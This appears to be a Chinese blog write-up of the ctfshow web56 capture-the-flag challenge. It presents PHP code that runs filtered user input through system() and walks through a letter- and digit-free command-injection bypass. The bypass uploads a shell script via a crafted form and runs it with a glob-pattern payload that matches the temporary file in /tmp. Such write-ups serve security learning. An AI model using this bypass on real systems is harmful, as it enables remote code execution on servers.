无字母数字rce(ctfshow web入门56)

无字母数字rce(ctfshow web入门56)

我们根据这一题直接进入主题

//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}

过滤了字母,数字。

看了三位师傅的 wp才醒悟 y1ng P神 firebasky 再次感谢三位师傅

先说一下这一题的解题思路:

我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过.去执行sh命令不需要有执行权限**

好,接下来我已一个小白的角度分析题目所需的知识点。 首先是构造一个post文件上传,这里面也是很复杂的,参考 PHP 文件上传

下面就是我们构造的post文件上传数据包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后直接抓包

在这里插入图片描述
接下来构造poc命令
?c=.+/???/????????[@-[]
用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符
    注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
    在这里插入图片描述

介绍一下bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,也就是一些系统命令都在bin 目录下

在这里再解释一下为什么加上#! #!的意思是调用 /bin/sh 命令所以需要加

成功遍历当前目录文件
在这里插入图片描述

直接cat 得到flag

在这里插入图片描述

补充

1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)。

2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令

3.我们的poc的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值